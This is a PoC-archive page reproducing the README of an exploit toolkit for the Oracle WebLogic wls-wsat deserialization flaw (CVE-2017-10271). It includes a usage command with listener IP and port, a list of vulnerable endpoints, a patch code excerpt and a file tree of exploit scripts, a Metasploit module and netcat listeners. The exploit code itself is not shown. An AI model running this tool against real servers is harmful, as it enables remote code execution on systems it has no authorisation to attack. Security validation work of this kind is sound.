关联漏洞
描述
Oracle WebLogic WLS-WSAT Remote Code Execution Exploit (CVE-2017-10271)
介绍
# CVE-2017-10271
Weblogic wls-wsat Component Deserialization Vulnerability (CVE-2017-10271) Detection and Exploitation Script
### Usage
```bash
$ python CVE-2017-10271.py -l 10.10.10.10 -p 4444 -r http://will.bepwned.com:7001/
```
### Features
* Standalone Python script
* Check functionality to see if any host is vulnerable
* Exploit functionality for Linux targets
* Metasploit module
* Check functionality to see if any host is vulnerable
* Exploit functionality for all targets
* Scanner (./scanners)
* Checks to see if hosts is vulnerable. Fully self-contained
## Legal Notices
You are responsible for the use of this script. Kevin Kirsche takes no responsibility for any actions taken using the code here. The code was created for teams looking to validate the security of their servers, not for malicious use.
## Thanks
Big thanks to Luffin for creating the original POC that this was based on https://github.com/Luffin/CVE-2017-10271
## Vulnerable URL's other than the one shown:
```
/wls-wsat/CoordinatorPortType
/wls-wsat/CoordinatorPortType11
/wls-wsat/ParticipantPortType
/wls-wsat/ParticipantPortType11
/wls-wsat/RegistrationPortTypeRPC
/wls-wsat/RegistrationPortTypeRPC11
/wls-wsat/RegistrationRequesterPortType
/wls-wsat/RegistrationRequesterPortType11
```
## Related Vulnerability
CVE 2017-3506
## Oracle's Patch
Original Source:
https://blog.nsfocusglobal.com/threats/vulnerability-analysis/technical-analysis-and-solution-of-weblogic-server-wls-component-vulnerability/
Updated Source:
https://nsfocusglobal.com/technical-analysis-and-solution-of-weblogic-server-wls-component-vulnerability/
```java
private void validate(InputStream is) {
WebLogicSAXParserFactory factory = new WebLogicSAXParserFactory();
try {
SAXParser parser = factory.newSAXParser();
parser.parse(is, new DefaultHandler()) {
private int overallarraylength = 0;
public void startElement(String uri, String localName, String qName, Attributes attributes) throws SAXEception {
if (qName.equalsIgnoreCase("object")) {
throw new IllegalStateException("Invalid element qName:object");
} else if (qName.equalsIgnoreCase("new")) {
throw new IllegalStateException("Invalid element qName:new");
} else if (qName.equalsIgnoreCase("method")) {
throw new IllegalStateException("Invalid element qName:method");
} else {
if (qName.equalsIgnoreCase("void")) {
for(int attClass = 0;attClass < attributes.getLength(); ++attClass) {
if (!"index".equalsIgnoreCase(attributes.getQName(attClass))) {
throw new IllegalStateException("Invalid attribute for element void: " + attributes.getQName(attClass));
}
}
}
... more code here ...
}
}
}
}
}
```
文件快照
[4.0K] /data/pocs/0cba54d8ef35c60ef5457114df7009bfdb0f5f7b
├── [8.7K] CVE-2017-10271.py
├── [4.0K] docker
│ ├── [ 89] Dockerfile
│ └── [3.5K] README.md
├── [ 11K] LICENSE
├── [4.0K] listeners
│ ├── [ 67] nc-exploit-listener.sh
│ ├── [ 152] py2-check-listener.sh
│ └── [ 149] py3-check-listener.sh
├── [ 171] msf-linux-runner.rc
├── [6.4K] oracle_weblog_wsat_rce.rb
├── [4.0K] original-poc
│ └── [3.7K] original-poc.py
├── [2.7K] README.md
├── [4.0K] scanners
│ ├── [4.0K] bin
│ │ ├── [ 10M] CVE-2017-10271.release.1.5.1.amd64.darwin
│ │ ├── [5.5M] CVE-2017-10271.release.1.5.1.amd64.dragonfly
│ │ ├── [5.5M] CVE-2017-10271.release.1.5.1.amd64.freebsd
│ │ ├── [5.5M] CVE-2017-10271.release.1.5.1.amd64.linux
│ │ ├── [5.5M] CVE-2017-10271.release.1.5.1.amd64.netbsd
│ │ ├── [5.5M] CVE-2017-10271.release.1.5.1.amd64.openbsd
│ │ ├── [5.4M] CVE-2017-10271.release.1.5.1.amd64.solaris
│ │ └── [5.5M] CVE-2017-10271.release.1.5.1.amd64.windows.exe
│ ├── [4.0K] cmd
│ │ ├── [5.4K] root.go
│ │ └── [2.0K] version.go
│ ├── [4.0K] libcve201710271
│ │ ├── [ 778] banner.go
│ │ ├── [ 256] config.go
│ │ ├── [ 844] payload.go
│ │ ├── [1.4K] request.go
│ │ ├── [ 214] target.go
│ │ ├── [ 621] urls.go
│ │ └── [ 393] workers.go
│ ├── [ 11K] LICENSE
│ ├── [ 724] main.go
│ ├── [1.9K] Makefile
│ └── [1.5K] README.md
└── [3.5K] vulnerable_machine_setup.md
7 directories, 33 files
备注
1. 建议优先通过来源进行访问。
2. 如果因为来源失效或无法访问,请发送邮箱到 f.jinxu#gmail.com 索取本地快照(把 # 换成 @)。
3. 神龙已为您对POC代码进行快照,为了长期维护,请考虑为本地POC付费,感谢您的支持。